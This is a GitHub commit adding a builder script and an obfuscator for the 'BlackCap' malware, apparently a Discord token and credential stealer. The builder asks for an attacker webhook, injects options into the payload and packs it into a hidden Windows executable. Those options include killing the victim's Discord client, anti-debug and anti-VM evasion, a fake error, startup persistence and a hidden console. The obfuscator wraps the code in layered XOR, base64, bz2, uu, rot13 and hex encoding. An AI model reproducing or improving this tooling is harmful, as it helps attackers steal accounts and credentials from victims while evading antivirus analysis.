Add files via upload

This commit is contained in:
What about KSCH 2022-10-30 19:10:21 +01:00 committed by GitHub
parent f598d0fb05
commit 5682b7f71b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 756 additions and 0 deletions

668
builder.py Normal file
View File

@ -0,0 +1,668 @@
import os
import random
import shutil
import subprocess
import sys
import time
from json import load
from urllib.request import urlopen
from zlib import compress
import requests
from alive_progress import alive_bar
from colorama import Fore, Style, init
class Builder:
def __init__(self) -> None:
self.loading()
if not self.check():
exit()
self.bannergui()
self.bannergui()
self.webhook = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Enter your webhook: ')
if not self.check_webhook(self.webhook):
print(f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} {Fore.RED}Invalid Webhook!{Fore.RESET}")
str(input(f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Press anything to exit..."))
sys.exit()
self.filename = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Enter your filename: ')
self.killprocess = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Kill victim Discord Client? (yes/no): ')
if self.killprocess.lower() == 'y':
self.killprocess = True
if self.killprocess.lower() == 'yes':
self.killprocess = True
else:
self.killprocess = False
self.dbugkiller = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Enable Anti-Debug (Recommand yes, Kill Virus-Total Machines / Virtual Machines or other)? (yes/no): ')
if self.dbugkiller.lower() == 'y':
self.dbugkiller = True
if self.dbugkiller.lower() == 'yes':
self.dbugkiller = True
else:
self.dbugkiller = False
self.ping = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Ping on new victim? (yes/no): ')
if self.ping.lower() == 'y':
self.ping = "yes"
if self.ping.lower() == 'yes':
self.ping = "yes"
self.pingtype = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Ping type? (here/everyone): ').lower()
if self.pingtype not in ["here", "everyone"]:
# default to @here if invalid ping type.
self.pingtype == "here"
else:
self.ping = "no"
self.pingtype = "none"
self.error = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Add a fake error? (yes/no): ')
if self.error.lower() == 'y':
self.error = "yes"
if self.error.lower() == 'yes':
self.error = "yes"
else:
self.error = "no"
self.startup = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Add file to startup? (yes/no): ')
if self.startup.lower() == 'y':
self.startup = "yes"
if self.startup.lower() == 'yes':
self.startup = "yes"
else:
self.startup = "no"
self.hider = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Hide BlackCap console for victim? (yes/no): ')
if self.hider.lower() == 'yes':
self.hider = "yes"
if self.hider.lower() == 'y':
self.hider = "yes"
else:
self.hider = False
self.obfuscation = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to obfuscate the BlackCap (recommand yes)? (yes/no): ')
self.compy = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to compile the file to a .exe? (yes/no): ')
if self.compy == 'yes':
self.icon = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to add an icon to the .exe (yes/no): ')
if self.icon == 'yes':
self.icon_exe()
if self.icon == 'y':
self.icon_exe()
else:
pass
else:
pass
if self.compy == 'y':
self.icon = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to add an icon to the .exe (y/n): ')
if self.icon == 'yes':
self.icon_exe()
if self.icon == 'y':
self.icon_exe()
else:
pass
else:
pass
self.mk_file(self.filename, self.webhook)
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} File successfully created!{Fore.RESET}')
self.cleanup(self.filename)
self.renamefile(self.filename)
run = input(
f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Do you want to test the file? [yes/no]: ')
if run.lower() == 'yes':
self.run(self.filename)
if run.lower() == 'y':
self.run(self.filename)
input(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Press enter to exit...{Fore.RESET}')
sys.exit()
def bannergui(self):
p = Fore.GREEN + Style.DIM
img = fr"""{p}
Γ
,,,
,,,,,,,,,
,,,
Γ
L L L
,,,,,,
,,
``
``` `````` ``` ```
Γ Γ
"""
img1 = fr"""{p}
,
Γ
,
,,,
Γ
L
,,,,,,
``` ``````]-`` ```
,,,J,,,
,,,
```
``` "``▀██████ ```````
"""
img2 = fr"""{p}
,
Γ
,,,
,,,
Γ
,,,, ,,,
]
$
,,,
``````"`` ``````
"""
img3 = fr"""{p}
Γ
,,,
,,,
Γ
L L
]
,,, L ,,,
``` $ ```
,,,
```
`````````
"""
img4 = fr"""{p}
Γ
,
,,,,,,
,,,Å
]
,,,,,,
```
```"``
"""
img5 = fr"""{p}
Γ
,
,,,,,,
,,,,,,
,,,,,,
,,,
`````
Γ
``````
"""
img6 = fr"""{p}
Γ
Γ
,,,Å,,,
,,,J,,,
,,,,,,
``````
```"``▀██████ ```▀███
"""
os.system('mode con:cols=120 lines=45')
print(img)
time.sleep(0.3)
os.system("cls")
print(img1)
time.sleep(0.3)
os.system("cls")
print(img2)
time.sleep(0.3)
os.system("cls")
print(img3)
time.sleep(0.3)
os.system("cls")
print(img4)
time.sleep(0.3)
os.system("cls")
print(img5)
time.sleep(0.3)
os.system("cls")
print(img6)
def loading(self):
p = Fore.GREEN + Style.DIM
r = Fore.RED + Style.BRIGHT
img = fr"""{p}
,
j[
jL
jL
,
L
L
L
m
j
j
j
j
jL
jL
j
j
j
j
j
L
L
L
j
j
j
j
j``````````````` ]````````````````]
j j j
j j j
j j j
,,,,,,,,,,,,,,,
IP: {load(urlopen('https://api.myip.com/'))['ip']}
Username: {os.getlogin()}
PC Name: {os.getenv('COMPUTERNAME')}
Operating System: {os.getenv('OS')}
|"""
with alive_bar(40) as bar:
for _ in range(40):
print(img)
time.sleep(random.randint(1, 3) / 40)
os.system('cls')
bar()
os.system('cls')
print(Style.RESET_ALL)
def check_webhook(self, webhook):
try:
with requests.get(webhook) as r:
if r.status_code == 200:
return True
else:
return False
except BaseException:
return False
def check(self):
required_files = {'./main.py',
'./requirements.txt',
'./obfuscation.py'}
for file in required_files:
if not os.path.isfile(file):
print(f'{Fore.RED}[{Fore.RESET}{Fore.WHITE}!{Fore.RESET}{Fore.RED}] {file} not found!')
return False
try:
print(
subprocess.check_output(
"python -V",
stderr=subprocess.STDOUT))
print(subprocess.check_output("pip -V", stderr=subprocess.STDOUT))
except subprocess.CalledProcessError:
print(f'{Fore.RED}[{Fore.RESET}{Fore.WHITE}!{Fore.RESET}{Fore.RED}] Python not found!')
return False
os.system('pip install --upgrade -r requirements.txt')
os.system('cls')
os.system('mode con:cols=150 lines=20')
return True
def icon_exe(self):
self.icon_name = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Enter the name of the icon: ')
if os.path.isfile(f"./{self.icon_name}"):
pass
else:
print(f'{Fore.RED}[{Fore.RESET}+{Fore.RED}]{Fore.RESET}Icon not found! Please check the name and make sure it\'s in the current directory.')
input(f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Press anything to exit...")
if self.icon_name.endswith('.ico'):
pass
else:
print(f'{Fore.RED}[{Fore.RESET}+{Fore.RED}]{Fore.RESET}Icon must have .ico extension! Please convert it and try again.')
input(f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Press anything to exit...")
def renamefile(self, filename):
try:
os.rename(f"./obfuscated_compressed_{filename}.py", f"./{filename}.py")
except Exception:
pass
try:
os.rename(f"./compressed_{filename}.py", f"./{filename}.py")
except Exception:
pass
try:
os.rename(f"./compressed_{filename}.exe", f"./{filename}.exe")
except Exception:
pass
try:
os.rename(f"./obfuscated_compressed_{filename}.exe", f"./{filename}.exe")
except Exception:
pass
def mk_file(self, filename, webhook):
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET} {Fore.WHITE}Generating source code...{Fore.RESET}')
with open('./main.py', 'r', encoding="utf-8") as f:
code = f.read()
with open(f"{filename}.py", "w", encoding="utf-8") as f:
f.write(code.replace('%WEBHOOK_HERE%', webhook)
.replace("\"%ping_enabled%\"", str(self.ping))
.replace("%ping_type%", self.pingtype)
.replace("\"%_error_enabled%\"", str(self.error))
.replace("\"%_startup_enabled%\"", str(self.startup))
.replace("\"%_hide_script%\"", str(self.hider))
.replace("\"%kill_discord_process%\"", str(self.killprocess))
.replace("\"%_debugkiller%\"", str(self.dbugkiller)))
time.sleep(2)
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Source code has been generated...{Fore.RESET}')
with open(f"{filename}.py", mode='rb') as f:
content = f.read()
print(f"{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Compressing Code...{Fore.RESET}")
original_size = len(content)
content = self.compress(content)
new_size = len(content)
with open(file='compressed_' + (filename.split('\\')[-1] if '\\' in filename else filename.split('/')[-1]) + '.py', mode='w', encoding='utf-8') as f:
f.write(content)
if self.obfuscation == 'no' and self.compy == 'yes':
f.write("\nimport os, platform, re, threading, uuid, requests, wmi, subprocess, sqlite3, psutil, json, base64;from tkinter import messagebox;from shutil import copy2;from zipfile import ZipFile;from Crypto.Cipher import AES;from discord import Embed, File, SyncWebhook;from PIL import ImageGrab;from win32crypt import CryptUnprotectData")
print(f"{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Old file size: {original_size} bytes - New file size: {new_size} bytes {Fore.RESET}")
if self.obfuscation == 'yes' and self.compy == 'yes':
self.encryption(f"compressed_{filename}")
self.compile(f"obfuscated_compressed_{filename}")
elif self.obfuscation == 'no' and self.compy == 'yes':
self.compile(f"compressed_{filename}")
elif self.obfuscation == 'yes' and self.compy == 'no':
self.encryption(f"compressed_{filename}")
else:
pass
def compress(self, content):
compressed_code = compress(content)
return f"eval(compile(__import__('zlib').decompress({compressed_code}),filename='auoiwhgoawhg',mode='exec'))"
def encryption(self, filename):
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Obfuscating code...{Fore.RESET}')
os.system(f"python obfuscation.py {filename}.py")
def compile(self, filename):
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET} {Fore.WHITE}Compiling code...{Fore.RESET}')
if self.icon == 'yes':
icon = self.icon_name
else:
icon = "NONE"
os.system(f'python -m PyInstaller --onefile --noconsole --upx-dir=./tools -i {icon} --distpath ./ .\\{filename}.py')
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Code compiled!{Fore.RESET}')
def run(self, filename):
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Attempting to execute file...')
if os.path.isfile(f'./{filename}.exe'):
os.system(f'start ./{filename}.exe')
elif os.path.isfile(f'./{filename}.py'):
os.system(f'python ./{filename}.py')
def cleanup(self, filename):
cleans_dir = {'./__pycache__', './build'}
cleans_file = {f'./{filename}.py', f'./obfuscated_compressed_{filename}.py', f'./compressed_{filename}.py', f'./compressed_{filename}.spec'}
if self.obfuscation == 'yes' and self.compy == 'no':
cleans_file.remove(f'./obfuscated_compressed_{filename}.py')
elif self.obfuscation == 'yes' and self.compy == 'yes':
cleans_file.add(f'./obfuscated_compressed_{filename}.spec')
elif self.obfuscation == 'no' and self.compy == 'no':
cleans_file.remove(f'./{filename}.py')
else:
pass
for clean in cleans_dir:
try:
if os.path.isdir(clean):
shutil.rmtree(clean)
except Exception:
pass
continue
for clean in cleans_file:
try:
if os.path.isfile(clean):
os.remove(clean)
except Exception:
pass
continue
if __name__ == '__main__':
init()
if os.name != "nt":
os.system("clear")
else:
os.system('mode con:cols=212 lines=212')
os.system("cls")
Builder()

88
obfuscation.py Normal file
View File

@ -0,0 +1,88 @@
import os
import base64
import argparse
import codecs
import random
import string
from colorama import Fore
## THIS IS NOT MY CODE I DON'T TAKE ANY CREDIT FOR THIS. I JUST MODIFIED IT TO WORK WITH MY SCRIPTS
class Obfuscator:
def __init__(self, code):
self.code = code
self.__obfuscate()
def __xorED(self, text, key = None):
newstring = ""
if key is None:
key = "".join(random.choices(string.digits + string.ascii_letters, k= random.randint(4, 8)))
if not key[0] == " ":
key = " " + key
for i in range(len(text)):
newstring += chr(ord(text[i]) ^ ord(key[(len(key) - 2) + 1]))
return (newstring, key)
def __encodestring(self, string):
newstring = ''
for i in string:
if random.choice([True, False]):
newstring += '\\x' + codecs.encode(i.encode(), 'hex').decode()
else:
newstring += '\\' + oct(ord(i))[2:]
return newstring
def __obfuscate(self):
xorcod = self.__xorED(self.code)
self.code = xorcod[0]
encoded_code = base64.b64encode(codecs.encode(codecs.encode(self.code.encode(), 'bz2'), 'uu')).decode()
encoded_code = [encoded_code[i:i + int(len(encoded_code) / 4)] for i in range(0, len(encoded_code), int(len(encoded_code) / 4))]
new_encoded_code = []
new_encoded_code.append(codecs.encode(encoded_code[0].encode(), 'uu').decode() + 'u')
new_encoded_code.append(codecs.encode(encoded_code[1], 'rot13') + 'r')
new_encoded_code.append(codecs.encode(encoded_code[2].encode(), 'hex').decode() + 'h')
new_encoded_code.append(base64.b85encode(codecs.encode(encoded_code[3].encode(), 'hex')).decode() + 'x')
self.code = f"""
_____=eval("{self.__encodestring('eval')}");_______=_____("{self.__encodestring('compile')}");______,____=_____(_______("{self.__encodestring("__import__('base64')")}","",_____.__name__)),_____(_______("{self.__encodestring("__import__('codecs')")}","",_____.__name__));____________________=_____("'{self.__encodestring(xorcod[True])}'");________,_________,__________,___________=_____(_______("{self.__encodestring('exec')}","",_____.__name__)),_____(_______("{self.__encodestring('str.encode')}","",_____.__name__)),_____(_______("{self.__encodestring('isinstance')}","",_____.__name__)),_____(_______("{self.__encodestring('bytes')}","",_____.__name__))
def ___________________(__________, ___________):
__________=__________.decode()
_________=""
if not ___________[False]=="{self.__encodestring(' ')}":
___________="{self.__encodestring(' ')}"+___________
for _ in range(_____("{self.__encodestring('len(__________)')}")):
_________+=_____("{self.__encodestring('chr(ord(__________[_])^ord(___________[(len(___________) - True*2) + True]))')}")
return (_________,___________)
def ____________(_____________):
if(_____________[-True]!=_____(_______("'{self.__encodestring('c________________6s5________________6ardv8')}'[-True*4]","",_____.__name__))):_____________ = _________(_____________)
if not(__________(_____________, ___________)):_____________ = _____(_______("{self.__encodestring('____.decode(_____________[:-True]')},'{self.__encodestring('rot13')}')","",_____.__name__))
else:
if(_____________[-True]==_____(_______("b'{self.__encodestring('f5sfsdfauf85')}'[-True*4]","", _____.__name__))):
_____________=_____(_______("{self.__encodestring('____.decode(_____________[:-True]')},'{self.__encodestring('uu')}')","",_____.__name__))
elif (_____________[-True] ==_____(_______("b'{self.__encodestring('d5sfs1dffhsd8')}'[-True*4]","", _____.__name__))):_____________=_____(_______("{self.__encodestring('____.decode(_____________[:-True]')},'{self.__encodestring('hex')}')","",_____.__name__))
else:_____________=_____(_______("{self.__encodestring('______.b85decode(_____________[:-True])')}","",_____.__name__));_____________=_____(_______("{self.__encodestring('____.decode(_____________')}, '{self.__encodestring('hex')}')","",_____.__name__))
_____________=_____(_______("{self.__encodestring('___________.decode(_____________)')}","",_____.__name__))
return _____________
_________________=_____(_______("{self.__encodestring('___________.decode')}({self.__encodestring(new_encoded_code[True*3]).encode()})","",_____.__name__));________________ = _____(_______("{self.__encodestring('___________.decode')}({self.__encodestring(new_encoded_code[1]).encode()})","",_____.__name__));__________________=_____(_______("{self.__encodestring('___________.decode')}({self.__encodestring(new_encoded_code[True*2]).encode()})","",_____.__name__));______________=_____(_______("{self.__encodestring('___________.decode')}({self.__encodestring(new_encoded_code[False]).encode()})","",_____.__name__));_______________=_____(_______("{self.__encodestring('str.join')}('', {self.__encodestring('[____________(x) for x in [______________,________________,__________________,_________________]]')})","", _____.__name__));________(___________________(____.decode(____.decode(______.b64decode(_________(_______________)), "{self.__encodestring("uu")}"),"{self.__encodestring("bz2")}"),____________________)[_____("{self.__encodestring('False')}")])\nimport asyncio, json, ntpath, os, random, re, shutil, sqlite3, subprocess, threading, winreg, zipfile, httpx, psutil, win32gui, win32con, base64, requests, ctypes, time;from sqlite3 import connect;from base64 import b64decode;from urllib.request import Request, urlopen;from shutil import copy2;from datetime import datetime, timedelta, timezone;from sys import argv;from tempfile import gettempdir, mkdtemp;from json import loads, dumps;from ctypes import windll, wintypes, byref, cdll, Structure, POINTER, c_char, c_buffer;from Crypto.Cipher import AES;from PIL import ImageGrab;from win32crypt import CryptUnprotectData"""
def main():
parser = argparse.ArgumentParser()
parser.add_argument('FILE', help='the target file', metavar= 'SOURCE')
parser.add_argument('-o', metavar='path', help='custom output file path')
args = parser.parse_args()
if args.o is None:
args.o = f'obfuscated_{os.path.basename(args.FILE)}'
if not os.path.isfile(args.FILE):
print(f'File "{os.path.basename(args.FILE)}" is not found')
exit()
elif not 'py' in os.path.basename(args.FILE).split('.')[-1]:
print(f'''File "{os.path.basename(args.FILE)}" is not a '.py' file''')
exit()
with open(args.FILE, encoding='utf-8') as file:
CODE = file.read()
obfuscator = Obfuscator(CODE)
with open(args.o, 'w', encoding='utf-8') as output_file:
output_file.write(obfuscator.code)
print(f'{Fore.MAGENTA}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.MAGENTA}]{Fore.RESET}{Fore.WHITE} Code obfuscated!{Fore.RESET}')
if __name__ == '__main__':
main()